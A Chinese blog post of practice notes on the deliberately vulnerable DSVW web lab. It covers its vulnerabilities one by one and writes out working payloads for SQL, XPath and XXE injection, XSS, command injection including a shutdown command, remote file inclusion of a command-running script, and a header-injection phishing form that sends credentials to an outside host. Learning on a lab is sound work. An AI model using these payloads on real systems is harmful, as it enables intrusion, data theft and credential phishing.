[NOTE] DSVW靶场练习笔记
[NOTE] DSVW靶場練習筆記
文章目錄
- [NOTE] DSVW靶場練習筆記
- 前言
- Blind SQL Injection (boolean)
- Blind SQL Injection (time)
- UNION SQL Injection
- Login Bypass
- HTTP Parameter Pollution
- Cross Site Scripting (reflected)
- Cross Site Scripting (stored)
- Cross Site Scripting (DOM)
- Cross Site Scripting (JSONP)
- XML External Entity (local)
- XML External Entity (remote)
- Server Side Request Forgery
- Blind XPath Injection (boolean)
- Cross Site Request Forgery
- Frame Injection (phishing)
- Frame Injection (content spoofing)
- Clickjacking
- Unvalidated Redirect
- Arbitrary Code Execution
- Full Path Disclosure
- Source Code Disclosure
- Path Traversal
- File Inclusion (remote)
- HTTP Header Injection (phishing)
- Component with Known Vulnerability (pickle)
- Denial of Service (memory)
- 靶場總結(jié)
- 源碼學習
前言
是針對DSVW靶場的練習筆記
是在搞完P(guān)ikachu靶場之后
在整理vulnstack的Web安全入門進階靶場時發(fā)現(xiàn)的
里面版本比較老,就單獨搞出來玩玩
最新版本v0.2b用Python 3運行
代碼很頂,只有不到100行的代碼
最后學習一下代碼
環(huán)境:Kali Linux 2021.2 x64 | Python 3.9.2
由于也接觸過幾個Web靶場了,有些常見漏洞點就不太提及了
各漏洞點后面的info,都來自于OWASP Web安全測試指引(WSTG)
但是靶場中指向的URL版本都比較老
這里是最新版的測試指引(后面可能也舊了嘻嘻)
Blind SQL Injection (boolean)
EZ(呃,被打臉了,所以前進路上永不驕傲)
GET參數(shù)id為注入點,輸入“’”的報錯信息:
Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 30, in do_GETcursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: near "'": syntax error簡單驗證payload:/?id=99 union select 1,2,3,4,判斷回顯4列
但是下面遇到難題了
因為是SQLite數(shù)據(jù)庫,所有很多函數(shù)和常識都不太清楚
出門吃癟,難受,學習去了
簡單學了下
爆庫:?id=99 union select type,name,tbl_name,sql from sqlite_master
sql字段返回表的結(jié)構(gòu)
爆users表:?id=99 union select id,username,name,password from users
最后試試sqlmap,隨便打
等一下,是盲注?這不全顯了嗎,服了= =
官方給的盲注payload:
/?id=2 and SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'
還是邏輯判斷、substr那一套
Blind SQL Injection (time)
一樣能直接全顯,但是要試試時間盲注
官方payload:
?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
要點:
- 使用了case-when-then-else語句做選擇,起到類似于if-else的作用
- 休眠的語句:LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))
休眠語句還不太明白
UNION SQL Injection
union & union all
union內(nèi)部的select語句必須擁有相同數(shù)量的列
列也必須擁有相似的數(shù)據(jù)類型
同時,每條select語句中的列的順序必須相同
union選取的是“集合”,值不重復(fù)
union all則會選取所有結(jié)果
就是這個:
?id=99 union select id,username,name,password from users
官方payload:
/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
涉及到一個多列拼接成一個字符串的方法:||','||(大概是這樣吧)
Login Bypass
密碼打入單引號:/login?username=admin&password='
報錯信息:
Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 67, in do_GETcursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") sqlite3.OperationalError: unrecognized token: "'''"繞過payload:/login?username=admin&password=' or '1'='1
HTTP Parameter Pollution
HTTP參數(shù)污染?沒聽過
先上網(wǎng)沖浪學習一波
又稱HPP,大概是請求參數(shù)中有兩個參數(shù)同名的話
不同Web服務(wù)器對其的處理規(guī)則不同
從而導(dǎo)致利用點出現(xiàn)
例如PHP/Apache里邊,會把最后一個同名參數(shù)作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測到第一個id正常就通過,而傳入服務(wù)器的是后面的惡意參數(shù)
下面是具體不同Web服務(wù)器的處理方式:
| PHP/Apache | $_GET(“par”) | Last |
| JSP/Tomcat | Request.getParameter(“par”) | First |
| Perl(CGI)/Apache | Param(“par”) | First |
| Python/Apache | Getvalue(“par”) | All(List) |
| ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
通常可以被其他漏洞結(jié)合使用,如XSS
也常用于WAF Bypass
靶場使用Python語言寫的,所以對于多個重名參數(shù),后端會做拼接處理
所以就有了官方payload:
/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1
多個password參數(shù),拼接后變成:
'/**/OR/**/'1'/**/LIKE/**/'1
注釋做間隔,邏輯判斷為真,因此通過檢驗,繞過登錄
Cross Site Scripting (reflected)
有個GET的參數(shù)v,傳入內(nèi)容會在頁面最下面顯示
傳入<script>alert("XSS")</script>即彈窗
攻擊者準備惡意服務(wù)器
準備獲取cookie的接口、釣魚頁面、鍵盤記錄腳本等
構(gòu)造指向這些惡意攻擊的payload,形成釣魚鏈接誘惑受害者
Cross Site Scripting (stored)
存儲型,由于payload可以直接打入開放的頁面
所以無需太多社工,直接打入payload
每個瀏覽到的人都會中招
Cross Site Scripting (DOM)
DOM型,大致上和JS腳本動態(tài)操縱HTML元素有關(guān)
頁面源碼找到相關(guān)的JS代碼:
if (index != -1) document.write('<div style="position: absolute; top: 5px; right: 5px;">Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');大概就是根據(jù)GET參數(shù)lang來在頁面上動態(tài)地寫入一個元素
根據(jù)上面的代碼去主動閉合,有以下彈窗payload:
/?#lang=</b></div><script>alert("XSS")</script><div><b>
(官方payload好像不用主動閉合也行)
Cross Site Scripting (JSONP)
沒聽說過
JSON with Padding是json的一種“使用模式”
可以讓網(wǎng)頁從別的域名(網(wǎng)站)那獲取資料,即跨域讀取數(shù)據(jù)
一個學習資料
大概就是由json格式封裝的一段js代碼
另外關(guān)于跨域的問題,很多標簽里面的src屬性是不受同源策略限制的
一個漏洞示范:
echo $_GET['callback'] . '(' . $jsonData . ');';
大概就是callback參數(shù)傳遞函數(shù)名,后面的$jsonData傳遞函數(shù)參數(shù)
再配合恰當?shù)腃ontent-Type頭,echo出來,就有可能形成XSS等漏洞
看看鏈接的URL:/users.json?callback=process
看看users.json的內(nèi)容,是一些用戶信息
在原頁面找到process函數(shù)的源碼:
function process(data) {alert("Surname(s) from JSON results: " + Object.keys(data).map(function(k) {return data[k]})); };然后官方的payload:
http://10.10.10.1:65412/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess
奇怪的是直接地址欄輸入不會引發(fā)彈窗,看看鏈接的onclick函數(shù):
function onclick(event) {var script = document.createElement('script');script.src = '/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false }可能還和DOM的使用有關(guān),emmmm
XML External Entity (local)
xml參數(shù)接收一段XML數(shù)據(jù)來解析,直接上payload(注意URL編碼):
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20author%20%5B%3C!ENTITY%20js%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cauthor%3E%26js%3B%3C%2Fauthor%3E
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE author [<!ENTITY js SYSTEM "file:///etc/passwd">]><author>&js;</author>
實際上好像不用前面那段xml定義說明也OK?
另外shadow也能看到,權(quán)限真是高啊
XML External Entity (remote)
就是XXE能引用到遠程的xml數(shù)據(jù),不限于攻擊者服務(wù)器上的惡意數(shù)據(jù)
Server Side Request Forgery
path參數(shù)接受一個資源,然后由服務(wù)器去請求,再回顯給用戶
file:///etc/passwd:請求服務(wù)器敏感數(shù)據(jù)
http://localhost:8878:探測本機或內(nèi)網(wǎng)端口,或者是訪問內(nèi)網(wǎng)站點
Blind XPath Injection (boolean)
XPath注入?沒聽說過
XPath的學習內(nèi)容搬到了另外的筆記
GET參數(shù)name
傳入admin,正?;仫@
傳入' or '1'='1,也回顯了一個“vargas”,說明存在XPath注入
傳入',報錯,暴露查詢語句:
xpath(".//user[name/text()='%s']" % params["name"])
根據(jù)查詢語句構(gòu)造payload試圖暴庫:']|.//*|ss['
期待XPath查詢語句變成這樣:.//user[name/text()='']|.//*|ss['']
但是執(zhí)行還是報錯:
估計是只回顯某個用戶的surname字段,所以全部爆出來會出現(xiàn)元素定位錯誤
那就按照題目意思去盲注
官方payload:?name=admin' and substring(password/text(),3,1)='n
.//user[name/text()='admin' and substring(password/text(),3,1)='n']
下面盲注猜解建議配合使用二分法
猜解當前節(jié)點的元素個數(shù):
/?name=admin' and count(.//*)=4 and '1'='1
猜解第一個元素名稱的長度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1
猜解第一個元素名稱的第一個字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1
猜解第一個元素名稱:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1
猜解第四個元素名稱:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1
猜解第四個元素的值的長度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1
猜解第四個元素的值的第一個字符(字符之間可以直接用大小與號比較):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1
猜解第四個元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1
以上盲注都是進入到與’admin’有關(guān)的特定范圍
是使用.//來選取當前節(jié)點
當然也可以使用/來從根元素選取節(jié)點
完整的XML文件如下:
<?xml version="1.0" encoding="utf-8"?> <users><user id="0"><username>admin</username><name>admin</name><surname>admin</surname><password>7en8aiDoh!</password></user><user id="1"><username>dricci</username><name>dian</name><surname>ricci</surname><password>12345</password></user><user id="2"><username>amason</username><name>anthony</name><surname>mason</surname><password>gandalf</password></user><user id="3"><username>svargas</username><name>sandra</name><surname>vargas</surname><password>phest1945</password></user> </users>再注一下加深印象
只有一個根節(jié)點:
/?name=admin' and count(/*)=1 and '1'='1
根節(jié)點名稱長度為5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1
根節(jié)點名稱第一個字符為‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1
根節(jié)點名稱為“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1
根節(jié)點下面有4個節(jié)點:
/?name=admin' and count(/users/*)=4 and '1'='1
/users下面第一個節(jié)點的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1
第一個user節(jié)點下面有4個節(jié)點:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1
如果某一結(jié)點下面沒有子節(jié)點,那么這樣子將會直接返回節(jié)點值:
/users/user[position()=1]/*[position()=1]匹配admin
因此葉子節(jié)點應(yīng)該這樣提取節(jié)點名稱:
name(/users/user[position()=1]/*[position()=1])
所以第一個user節(jié)點的第四個(葉子)節(jié)點長度為8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1
第一個user節(jié)點的第四個(葉子)節(jié)點名稱的第一個字符為‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1
第一個user節(jié)點的第四個(葉子)節(jié)點名稱為“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1
/users/user[position()=1]/*[position()=4]這個匹配到password的值
下略BLABLABLA
Cross Site Request Forgery
老實說,感覺這個漏洞演示做得并不算太好
因為CSRF本質(zhì)上是“借”權(quán)限執(zhí)行非法操作
但是這個靶場本身的所有請求都沒有鑒權(quán)措施
再看看官方payload:
/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">
一看,好像可以分成兩部分
一部分是外層的v參數(shù),這個參數(shù)在XSS里邊出現(xiàn)過
另一部分是里層的comment參數(shù),提交了CSRF漏洞本身頁面的參數(shù)
我是這樣理解的:
模擬的是用戶已經(jīng)有了提交comment參數(shù)的權(quán)限
但是這時候用戶接收到了釣魚鏈接,是一個XSS
點擊之后,無意間“被”提交了comment
從而模擬了“借權(quán)限”寫入數(shù)據(jù)
Frame Injection (phishing)
框架注入,沒了解過,上網(wǎng)學習
一個找到的學習鏈接
好像就是類似于XSS,或者說是它的一種攻擊情況
在網(wǎng)頁中注入含有惡意內(nèi)容的frame或iframe標簽
框架注入攻擊允許黑客將用戶重定向到用于網(wǎng)絡(luò)釣魚和類似攻擊的其他惡意網(wǎng)站
可以考慮使用內(nèi)容安全策略(CSP)標頭來防御此類攻擊
靶場接口也是簡單地GET傳遞v參數(shù),之前測試XSS的也是這里
官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
后面還有一些樣式屬性
執(zhí)行效果為在頁面中間出現(xiàn)一個方框展現(xiàn)另一個站點的內(nèi)容
感覺和XSS差不多
估計可以指向惡意站點或加載惡意腳本,從而執(zhí)行惡意操作
Frame Injection (content spoofing)
官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>
和上一個的區(qū)別好像就是
惡意框架是覆蓋了整個原頁面
估計是想達成欺騙用戶的效果
上一個的phishing,是“網(wǎng)絡(luò)釣魚”的意思
這個content spoofing,是“內(nèi)容欺騙”的意思
好像都是釣魚?
Clickjacking
點擊劫持,大概也是XSS的一種利用形式吧,我猜的
官方payload:
/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://dsvw.c1.biz/'"></div>
就是利用之前XSS的地方,往整個頁面上覆蓋了一個div標簽
然后設(shè)置一點擊,就會跳到別的頁面
估計這樣達成刷流量或刷點擊率或執(zhí)行惡意腳本的目的
當然這個onclick函數(shù)也可以設(shè)置成別的
但是覆蓋一層div之后,鼠標放到藍鏈上不會有“小指頭”了
Unvalidated Redirect
不安全的URL跳轉(zhuǎn)
一個redir參數(shù)傳入要跳轉(zhuǎn)的URL,官方payload也是截向了別的網(wǎng)站
估計是可以給用戶控制,用正確的域名做釣魚鏈接,欺騙性比較好吧
Arbitrary Code Execution
任意代碼執(zhí)行
domain參數(shù)傳入一個域名,之后返回域名的IP信息:
Server: 10.10.10.254 Address: 10.10.10.254#53Non-authoritative answer: Name: www.google.com Address: 142.250.207.68看回顯,估計是系統(tǒng)執(zhí)行了類似dig www.google.com之類的命令吧
(當然上面不像是dig命令后的回顯)
(后面看了看源碼,是nslookup)
于是可以試試傳參后面加;,再拼接別的命令試試
payload:/?domain=localhost;whoami
回顯:
存在任意命令執(zhí)行漏洞
然后關(guān)機:/?domain=localhost;shutdown~
Shutdown scheduled for Wed 2021-12-01 15:35:14 CST, use 'shutdown -c' to cancel.
趕緊取消
皮一下
Full Path Disclosure
絕對路徑暴露?
好像傳入不同的絕對路徑,會告訴你“路徑/文件不存在”或“XXX是一個文件夾”等
從而目錄遍歷?
Source Code Disclosure
呃,傳入path參數(shù)為/usr/share/DSVW/dsvw.py就爆出了頁面源碼
我愿意稱之為敏感信息暴露或任意文件訪問
Path Traversal
路徑穿越
傳入path參數(shù)為../../../../../../../../etc/passwd
類似于上面兩個,估計是想突出“dot-dot-slash”在文件訪問的對外接口中可用
File Inclusion (remote)
遠程文件包含
直接給include參數(shù)去包含遠程腳本,好啊
官方payload:
/?include=http://pastebin.com/raw.php?i=6VyyNNhc&cmd=ifconfig
從而執(zhí)行遠程腳本
這里只能包含(Python)腳本文件
文本文件如passwd會報Python語法錯誤
關(guān)于這個http://pastebin.com/raw.php?i=6VyyNNhc:
import re import subprocess import urllib.parseparams = dict((match.group("parameter"), urllib.parse.unquote(match.group("value"))) for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]+)", QUERY_STRING))if "cmd" in params:result = subprocess.check_output(params["cmd"], shell=True, stderr=subprocess.STDOUT)print("<pre>%s</pre>" % result.decode())接受一個cmd參數(shù)去執(zhí)行命令
HTTP Header Injection (phishing)
HTTP頭注入-釣魚版
一個GET的charset參數(shù),接受字符集參數(shù)(實際上什么都行)
傳過去之后,會直接拼接在返回包的Content-Type頭里邊:
Content-Type: text/html; charset=utf8
值得注意的是,是拼接在HTTP返回頭的最后面的,再下面就是空行以及返回體了
于是有了官方payload:
/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
解碼一下,就是:
/?charset=utf8 X-XSS-Protection:0 Content-Length:388<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://dsvw.c1.biz/i/log.php" onSubmit="alert('visit \'http://dsvw.c1.biz/i/log.txt\' to see your phished credentials')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>于是拼接之后,檢測到空行,就默認讀到了返回體
于是就回顯了payload構(gòu)造的HTML內(nèi)容
于是就形成了釣魚的效果
就是說可以對于參數(shù)拼接到返回頭的,要特別小心
可能會被控制返回的HTML內(nèi)容
而域名是正確的
可能會被釣魚
Component with Known Vulnerability (pickle)
不安全組件(pickle?)
這個需要雄厚的第三方組件或者是CVE的知識= =
pickle是Python標準庫,用于實現(xiàn)Python對象的二進制序列化和反序列化
官方文檔
“pickling” 是將 Python 對象及其所擁有的層次結(jié)構(gòu)轉(zhuǎn)化為一個字節(jié)流的過程,而 “unpickling” 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節(jié)流轉(zhuǎn)化回一個對象層次結(jié)構(gòu)。
關(guān)于pickle模塊的缺陷,官方簡要解釋如下:
警告
pickle 模塊并不安全。你只應(yīng)該對你信任的數(shù)據(jù)進行unpickle操作。
構(gòu)建惡意的 pickle 數(shù)據(jù)來在解封時執(zhí)行任意代碼是可能的。絕對不要對不信任來源的數(shù)據(jù)和可能被篡改過的數(shù)據(jù)進行解封。
請考慮使用 hmac 來對數(shù)據(jù)進行簽名,確保數(shù)據(jù)沒有被篡改。
在你處理不信任數(shù)據(jù)時,更安全的序列化格式如 json 可能更為適合。參見 與 json 模塊的比較 。
源碼的一處相關(guān)代碼:
content = str(pickle.loads(params["object"].encode()))
估計是執(zhí)行一個反序列化的過程
Denial of Service (memory)
DOS!
一個size參數(shù),傳入32的返回:
Time required (to 'resize image' to 32x32): 0.000009 seconds
估計會根據(jù)參數(shù)調(diào)用服務(wù)器資源去生成圖片
要是參數(shù)過大,則會過分消耗服務(wù)器資源,形成DOS
點擊官方payload后,頁面長時間不回應(yīng),斷開了連接,系統(tǒng)也變卡
算是提供了一個防御惡意DOS的方向
注意合理控制用戶對系統(tǒng)資源的消耗
靶場總結(jié)
還算可以,補充了一些Web漏洞知識,特別是XPath注入
但是靶場太“精致”了,很多漏洞點的演示過于簡單
一些利用場景要求學習者有一定基礎(chǔ)才可能理解出來
最后再感嘆一下代碼之精簡,不到一百行就整了個靶場
(雖然很多地方重用,但還是可以加深下各漏洞的對比和理解)
源碼學習
源碼不放了,這里
(值得注意的是這個靶場的作者就是sqlmap的作者,NB)
剛認真看了下。。。。
感覺也不用可以去學?
感覺這種刻意壓縮編碼的感覺。。。。
算了算了,學學HTTP服務(wù)相關(guān)吧
總結(jié)
以上是生活随笔為你收集整理的[NOTE] DSVW靶场练习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python装饰器学习笔记
- 下一篇: [NOTE] XVWA靶场练习笔记